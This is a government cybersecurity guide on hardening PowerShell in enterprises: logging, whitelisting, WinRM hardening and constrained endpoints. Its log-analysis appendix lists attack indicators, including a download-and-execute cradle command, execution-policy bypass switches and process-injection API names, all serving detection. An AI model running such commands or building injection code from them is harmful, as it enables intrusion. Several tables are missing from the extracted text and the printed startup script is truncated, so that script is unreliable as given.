Securing PowerShell
Securing PowerShell
in the Enterprise
MARCH 2019
Introduction
PowerShell is a powerful shell scripting language developed by Microsoft to provide an integrated interface for
automated system administration. It is an important part of the system administration toolkit due to its ubiquity and
the ease with which it can be used to fully control Microsoft Windows systems. However, it is also a dangerous post-
exploitation tool in the hands of an adversary.
This document describes a maturity framework for PowerShell in a way that balances the security and business
requirements of organisations. This maturity framework will enable organisations to take incremental steps towards
securing PowerShell across their environment.
Background
PowerShell is the latest in a line of Microsoft Windows command-line shells such as MS-DOS and cmd.exe. While
Microsoft Windows has the cmd.exe console, its ability to execute actions is limited compared to the actions
PowerShell is capable of.
PowerShell is integrated with the .NET Framework and has full access to Component Object Model (COM) and Windows
Management Instrumentation (WMI) functionality. Furthermore, it has full access to the Windows Application
Programming Interface (WinAPI) via the .NET Framework. The default installation of PowerShell contains a large
number of built-in cmdlets, which are small .NET programs that are accessed by PowerShell through simple commands.
This provides a powerful and easy to use interface to the underlying system and allows for automation of a wide variety
of tasks.
PowerShell can be run locally or across the network through a feature known as Windows Remote Management
(WinRM)1. To facilitate the use of WinRM, remote workstations and servers on which code is executed must have
remoting enabled. Microsoft Windows Server 2012 and newer Microsoft Windows operating systems have remoting
enabled by default.
1
Windows Remote Management (WinRM) is the mechanism that allows remote PowerShell sessions to be established.
It is also often referred to in the context of PowerShell as ‘remoting’.
1
Security issues
PowerShell itself is no less secure than other Microsoft Windows scripting environments. However, PowerShell
provides an adversary with a convenient interface for enumerating and manipulating a host system after the adversary
has gained initial code execution.
There are two primary security concerns with PowerShell:
PowerShell is typically used once code execution has been gained during initial exploitation. Adversaries will
continue to evolve offensive cyber capabilities and PowerShell-based implants are likely to be become more
common in the future.
PowerShell allows adversaries to perform code injection from the PowerShell environment into other processes
without dropping malicious code to disk, effectively granting arbitrary code execution while bypassing many
security protections and leaving virtually no residual artefacts on a system. This is not due to any security
vulnerability within PowerShell, rather it is an indication of its tight integration with the .NET Framework allowing
for an extremely powerful and easy to use interface to sensitive system functionality.
By not dropping malicious code to disk, identifying when a cyber intrusion is underway can be difficult, and forensic
investigations can be very difficult to perform. Combined with the extensive functionality PowerShell provides, it is
clear PowerShell is an extremely powerful post-exploitation tool.
2
Maturity framework for PowerShell
This document describes a maturity framework for PowerShell. The levels within the maturity framework for
PowerShell allow an organisation to identify its current security posture with respect to PowerShell. The levels also
allow an organisation to identify future improvements to more effectively manage the security risks associated with a
PowerShell deployment. A visual representation of the maturity framework for PowerShell is included at Appendix A.
The four levels in the maturity framework for PowerShell are as follows:
Level 0: An organisation uses PowerShell in its default configuration without any consideration of security risks
associated with its use.
Level 1: An organisation configures script whitelisting. Additionally, the PowerShell script execution policy is
configured to run only PowerShell scripts signed by a Trusted Publisher – with any code signing certificates
protected from misuse. PowerShell Version 5.0 provides greater logging facilities and should be used where
possible. Finally, PowerShell related activity is centrally logged and analysed.
Level 2: An organisation locks down PowerShell hosts2 to users performing tasks that require the ability to use
PowerShell. This is a form of role based application whitelisting which can be achieved using a number of
whitelisting solutions available on the market. A hardened Windows Remote Management (WinRM) configuration
is deployed to make remote PowerShell more secure.
Level 3: An organisation deploys custom constrained endpoints for PowerShell. This restricts the PowerShell
functionality for a given user to a predefined whitelist.
It is recommended organisations implement a PowerShell configuration consistent with at least Level 1. Levels 2 and 3
will greatly enhance the security posture of an organisation; however, will incur a significant cost to implement and
maintain.
Recommended mitigations
Script whitelisting
Organisations should use script whitelisting to help mitigate execution of malicious PowerShell scripts.
2
In PowerShell, a ‘host’ is an executable that provides an interface to the underlying PowerShell environment. A host
can be embedded in another application - for example automated administration workflow tools often have embedded
PowerShell hosts. PowerShell.exe and PowerShell_ise.exe are the most common PowerShell hosts as they are provided
by default in all versions of Microsoft Windows.
3
See Appendix B for more details on implementing script execution policies.
PowerShell version
Organisations should install PowerShell version 5.0 where possible due to the superior logging capabilities provided
over earlier versions.
Additional details on implementing the following logging options can be found in Appendix C:
Engine Lifecycle Logging: PowerShell logs the start-up and termination of PowerShell hosts. PowerShell version
5.0 has the ability to log the command-line arguments passed to the PowerShell host, including PowerShell code
passed to powershell.exe via the command line. Engine lifecycle logging is enabled by default and can be found in
the Applications and Services Logs\Microsoft\Windows\PowerShell\Operational log.
Module/Pipeline Logging: PowerShell version 3.0 and later can log pipeline events to Windows Event Logs on a
per-module basis or on a global basis. This can be set via Group Policy.
Script Block Tracing: PowerShell version 5.0 can log detailed information including what code was run and is
output to the Windows Operational Event Log.
Transcripting: PowerShell version 5.0 allows for the transcription 3 of code in all PowerShell hosts and can be
controlled by Group Policy. While very powerful, transcripts do not integrate into Windows Event Logs and will
need to be managed as on disk files.
3
Transcription is the term that describes the logging of all PowerShell commands issued and the output generated by
those commands. It is a means of providing fidelity of a given PowerShell session by displaying the same output an
adversary would see if conducting the attack interactively. It should be noted that it is possible to deliberately
obfuscate or suppress the output of many commands and still achieve a malicious outcome. The format of PowerShell
transcription can also be difficult to parse. Because of these two factors, the transcript should not be relied upon to
provide indicators of compromise in isolation.
4
Windows event logging
Microsoft Windows should be set up via Group Policy to audit certain system events, such as process creation and
termination, as well as file and registry access. Special consideration should be given to:
PowerShell profiles
PowerShell configuration information (registry)
PowerShell Group Policy settings (registry).
See Appendix D for additional details.
A baseline for normal PowerShell behaviour for a network should be performed in order to aid in the analysis of logs
generated by PowerShell. Organisations should consider performing the following baseline analysis for workstation and
server builds ensuring all details are documented so they can be referred to at a later date.
Code Behaviour: Does non-malicious PowerShell code have a need to access the Internet, open network
connections, utilise cryptographic operations, or access the registry and system files? By determining the subset
of PowerShell functionality required to perform system administration on the domain, spotting anomalous
behaviour becomes easier.
Initial Code Execution: How is PowerShell code normally executed (e.g. from a script file, command line, console
input)?
User and Computer: Which user accounts should be able to execute PowerShell code within the domain, a
subdomain or a specific machine?
Remoting: What are normal remoting patterns for users as well as source and target workstations and servers?
Be aware, an adversary will often try to mimic legitimate PowerShell behaviour on a network. This mimicry is usually
not perfect and it is often possible to identify unique characteristics that identify PowerShell behaviour as malicious.
Using a correctly configured Security Information and Event Management (SIEM) product to collect and analyse
PowerShell and Windows Event Logs can assist in detecting suspicious activity allowing for faster identification of
malicious PowerShell behaviour within the network.
See Appendix E for more details on identifying suspicious PowerShell behaviour within logs.
5
Remoting configuration
Configuration of PowerShell remoting is well documented by Microsoft 4.
WinRM hardening
Once basic remoting is configured, the following settings should be configured via Group Policy to securely configure
the WinRM client and service. The following settings are enabled by default, however, they should be confirmed in any
secure PowerShell deployment:
remove all protocols except Kerberos and Negotiate
disable stored credentials and CredSSP
disable legacy ports (80 and 443).
See Appendix G for more details on WinRM hardening.
Constrained endpoints
Constrained endpoints are a means of providing locked down PowerShell functionality. This is useful for enabling role-
based delegation of privileges. For example, separating roles for administering a web server and a file server on the
same machine.
The language mode in the constrained endpoint configuration should be set to NoLanguage which only allows the
running of whitelisted cmdlets and functions and disallows script blocks and other language features. Language mode
restrictions may be bypassed by code injection so it is important to check custom cmdlets, functions and modules that
are whitelisted to ensure that code injection is not possible.
Constrained endpoint configuration should be granted the correct permissions from the outset, as opposed to
configuring it to run as another account. This will prevent the credentials of the account from being stored on the
workstation or server.
A limitation of constrained endpoints is that users with local administrative privileges will be able to bypass constrained
endpoints as these users are able to run shell commands (including executing powershell.exe) remotely using Windows
Remote Shell (WinRS), thereby circumventing endpoint policy. Furthermore, WinRS cannot be disabled without
disabling PowerShell remoting. There are two solutions to this problem:
access to local administrator privileges should be tightly controlled, with role-based delegation of administrative
privileges granting required access instead
restricting network logon privileges should be tightly controlled.
See Appendix H for more details on implementing constrained endpoints.
Further information
The Australian Government Information Security Manual (ISM) assists in the protection of information that is
processed, stored or communicated by organisations’ systems. This publication can be found at
https://www.acsc.gov.au/infosec/ism/.
4
https://docs.microsoft.com/en-au/windows/desktop/WinRM/installation-and-configuration-for-windows-remote-
management
6
The Strategies to Mitigate Cyber Security Incidents complements the advice in the ISM. The complete list of
mitigation strategies and supporting publications can be found at
https://www.acsc.gov.au/infosec/mitigationstrategies.htm.
The following references provide additional details on securing PowerShell and associated components:
Microsoft – PowerShell ♥ the Blue Team at
https://blogs.msdn.microsoft.com/powershell/2015/06/09/powershell-the-blue-team/.
FireEye – Investigating PowerShell Attacks at https://www.fireeye.com/content/dam/fireeye-
www/global/en/solutions/pdfs/wp-lazanciyan-investigating-powershell-attacks.pdf.
Contact details
Organisations or individuals with questions regarding this advice can contact the ACSC by emailing
[email protected] or calling 1300 CYBER1 (1300 292 371).
7
Appendix A: Maturity framework
8
Appendix B: PowerShell script execution policy
The following Group Policy setting should be configured to enforce script signing for all PowerShell scripts.
It is important to understand the limitations of the script execution policy with respect to securing PowerShell. It should
be noted that numerous methods of bypassing the script execution policy have been widely reported. For this reason,
the script execution policy is only a small part of the overall PowerShell security management plan.
9
Appendix C: Configure PowerShell logging
requirements
The following Group Policy settings should be configured to enforce appropriate logging for PowerShell based
activities5.
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Micros
oft\Windows\PowerShell\Transcription\
OutputDirectory = <transcriptfolder> (SZ)
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Micros
oft\Windows\PowerShell\Transcription\
EnableInvocationHeader = 1 (DWORD)
To protect the transcript folder, create a Group Policy Object (GPO) and configure the following Group Policy settings.
5
Different functional levels of Microsoft Active Directory may enable these settings to be specified in different Group
Policy locations. The following Microsoft documentation should be consulted prior to implementation:
https://www.microsoft.com/en-au/download/details.aspx?id=25250.
6
A path for the storage of transcripts must be chosen. Unlike the Windows Event Log, there is no automatic
management of the log. It is the responsibility of an organisation to develop a solution to secure, manage and transfer
logs to a central location for analysis.
10
SYSTEM Full Control
11
Appendix D: Microsoft Windows security auditing
Attempts to modify the registry and file system, as well as process creation and termination, should be audited. During
analysis of the logs, modifications to PowerShell specific registry entries and directories, as well as unexpected
PowerShell host execution, should be investigated.
While this document identifies a large number of logging options, the actual amount of logging should be balanced
between the needs of the organisation to investigate a cyber intrusion versus the amount of disk space, compute
resources and analysis capability required to make the logging useful. System file and registry read events in particular
may lead to a large amount of low value data and could be filtered if required.
12
Appendix E: Log analysis
The location of the primary PowerShell log is Applications and Services\Windows PowerShell in the Windows Event
Viewer. This log can be used to identify the following information associated with a PowerShell session:
start time and end time
user account
host name and executable name, which can help determine if the session was local or remote
command line arguments to the PowerShell host (PowerShell version 5.0), which may be a good indicator of
suspicious activity.
Within the PowerShell log, the following indicators (or short aliases where appropriate) may be indicative of malicious
activity and should be investigated:
initial code execution:
Loading with -NoProfile. The -NoProfile switch is an old method of bypassing transcript logging and script
execution policy. This method does not work as of PowerShell version 5.0 however it will still work against
legacy PowerShell installations.
Loading with -ExecutionPolicy. The -ExecutionPolicy switch allows the user to bypass the execution policy of
the system.
Loading with -EncodedCommand. The -EncodedCommand switch accepts Base64 command strings that may
indicate an attempt to obfuscate the contents of a script.
Loading with -Command. The -Command switch accepts any command that that can be entered into
PowerShell interactively, as a parameter to PowerShell directly.
Using the Get-Content cmdlet and piping to the PowerShell host or Invoke-Expression cmdlet (i.e. Get-Content
.\script.ps1 | powershell.exe or Get-Content .\script.ps1 | Invoke-Expression).
Using the Invoke-Expression cmdlet combined with instantiation of a new .NET webclient object at the
command line (i.e. powershell -nop -c “iex(New-Object Net.WebClient).downloadString
(‘https://my.script/here’)”).
Using the Invoke-Command cmdlet with the -scriptblock argument to run code in an interactive PowerShell
console. This is commonly used to run cmdlets remotely during normal system administration so be aware of
false positives.
Script execution from unusual user accounts. Pay particular attention to privileged account execution such as
the local Administrator account, NT Authority\SYSTEM account and service accounts.
unusual PowerShell activity:
Attempting to disable the script execution policy directly (i.e. Set-ExecutionPolicy Unrestricted).
Use of the AuthorisationManager to disable the execution policy (i.e. identify modification of the
$ExecutionContext environment variable).
Encoding of commands such as Base64 encoding.
powershell_ise.exe will normally only be run on administrator or developer workstations, this process running
elsewhere should be regarded as suspicious.
13
Within the session, the module logs and transcripts can provide a detailed record of the actions that are being
performed. Where possible, both logs would be captured and analysed in tandem in order to achieve the most fidelity
in recreating a session.
The following indicators and keywords may identify malicious activity within the PowerShell environment:
PE and shellcode injection:
System.Runtime.InteropServices.Marshal
System.Runtime.InteropServices.MarshalAsAttribute
System.Runtime.InteropServices.UnmanagedTypes
System.Runtime.InteropServices.HandleRef
kernel32.dll
msvcrt.dll
OpenProcess
VirtualAllocEx
VirtualAlloc
WriteProcessMemory
GetModuleHandle
GetProcAddress
VirtualProtect
CreateRemoteThread
CreateThread
CloseHandle
PowerShell code injection or execution:
Invoke-Expression
iex
Invoke-Command
powershell/powershell.exe (within PowerShell code)
network activity:
System.Net.HttpWebClient
System.Net.WebClient
System.Net.HttpListener
System.Net.Sockets.Socket
encryption or encoding:
ConvertTo-SecureString cmdlet
Security.Cryptography.CryptoStream
14
[System.Convert]::ToBase64String($string)
identifying any random or encoded data chunks
keyword search (e.g. -encrypt, crypt, password, pass)
Windows Event Logs will provide the final piece of the puzzle when rebuilding a session. Look for the following activity:
Process Creation (filter for PowerShell hosts (i.e. powershell.exe, powershell_ise.exe and wsmprovhost.exe)).
Examine the process creator and determine if anomalous. The local Administrator account, NT Authority\SYSTEM
account and service accounts should be investigated as a priority.
Modification of registry keys under HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\PowerShell.
Deletion or modification of files in the transcript folder. Verify against timestamp in filename – deletion of a
recent transcript file is suspicious. For this reason, the transcript directory should be audited via GPO (see
Appendix C) and deletion events or modification by unusual accounts investigated.
15
Appendix F: Lockdown the registry and transcript
directory
Create an Active Directory security group with members who will be able to access the relevant registry and transcript
folder.
The following Group Policy settings can be used to grant permissions. In each case, select the appropriate GPO, right
click and click Add File or Add Key and input the appropriate values.
16
Appendix G: Hardened WinRM configuration
The following Group Policy settings should be used to harden the WinRM service across the environment.
7
This setting assumes IPv4 is in use, not IPv6. If IPv6 is in use, it should be specified using the smallest IPv6 scope
possible. For example, if possible a ‘link-local’ range should be specified. If that is not suitable, a ‘site-local’ range should
be specified and so on. This is to reduce the risks associated with the ubiquity of IPv6 tunnelling protocols that are often
enabled by default.
17
Appendix H: Constrained endpoints
A new constrained endpoint configuration file can be created with minimum functionality using the following
command: New-PSSessionConfigurationFile -Path <file path> -SessionType RestrictedRemoteServer.
The subsequent .pssc file generated should be edited to add the required functionality. The following is an example
.pssc file that is restricted to querying WMI, services and running gpupdate.
@{
SchemaVersion = ‘1.0.0.0’
GUID = ‘4448b206-5a87-42cc-8993-c6220422b514’
ExecutionPolicy = ‘Restricted’
LanguageMode = ‘NoLanguage’
SessionType = ‘RestrictedRemoteServer’
# EnvironmentVariables =
# Author =
# CompanyName =
# Copyright =
# Description =
# PowerShellVersion =
ModulesToImport = ‘Microsoft.PowerShell.Management’
# AssembliesToLoad =
# VisibleAliases =
VisibleCmdlets = ‘Get-WmiObject’, ‘Get-Service’
VisibleFunctions = ‘GPUpdateForce’
VisibleProviders = ‘FileSystem’
# AliasDefinitions =
FunctionDefinitions = @(
@{
Name=’GPUpdateForce’
Options=’AllScope’
ScriptBlock={gpupdate /force}
}
)
# VariableDefinitions =
# TypesToProcess =
18
# FomatsToProcess =
# ScriptsToProcess =
}
Register the endpoint using the following command: Register-PSSessionConfiguration -Force -Name <name> -Path <file
path> -ShowSecurityDescriptorUI. The last switch will prompt the user to set permissions for the endpoint.
Push the constrained endpoint domain-wide by performing the following steps:
retrieve the SDDL string: (Get-PSSessionConfiguration –Name <name>).ShowSecuritySddl
put the .pssc file onto a network file share
create a startup script in Group Policy in Computer Configuration\Policies\Windows Settings\Scripts\Startup to
implement the endpoint on startup. The following is an example start-up script.
# To enable default endpoints (full access for administrators and users in Remote Users group),
# uncomment the following two lines
Enable-PSRemoting -Force
# The following is to prevent firewall rules generated by the previous command
# to interfere with Group Policy
Disable-NetFirewallRule -DisplayName “Windows Remote Management (HTTP-In)”
Function PSRemoteCfgSetup
{
$cfgName = “<Configuration Name>”
$cfgFile = “<file share path>”
$sddl = “<SDDL string>”
$sessionCfg = $null
Try
{
$sessionCfg = (Get-PSSessionConfiguration -Name $cfgName -ea SilentlyContinue)
}
Catch [Microsoft.PowerShell.Commands.WriteErrorException]
{
}
19
Unregister-PSSessionConfiguration -Force -Name $cfgName
}
PSRemoteCfgSetup
Microsoft documentation should be consulted prior to implementing a custom constrained endpoint configuration.
Microsoft documentation can be found at:
Introduction to PowerShell Endpoints at
https://blogs.technet.microsoft.com/heyscriptingguy/2014/03/31/introduction-to-powershell-endpoints/
Build Constrained PowerShell Endpoint Using Startup Script at
https://blogs.technet.microsoft.com/heyscriptingguy/2014/04/01/build-constrained-powershell-endpoint-using-
startup-script/
Build Constrained PowerShell Endpoint Using Configuration File at
https://blogs.technet.microsoft.com/heyscriptingguy/2014/04/02/build-constrained-powershell-endpoint-using-
configuration-file/
Use Delegated Administration and Proxy Functions at
https://blogs.technet.microsoft.com/heyscriptingguy/2014/04/03/use-delegated-administration-and-proxy-
functions/
Build a Tool that Uses Constrained PowerShell Endpoint at
https://blogs.technet.microsoft.com/heyscriptingguy/2014/04/04/build-a-tool-that-uses-constrained-powershell-
endpoint/.
20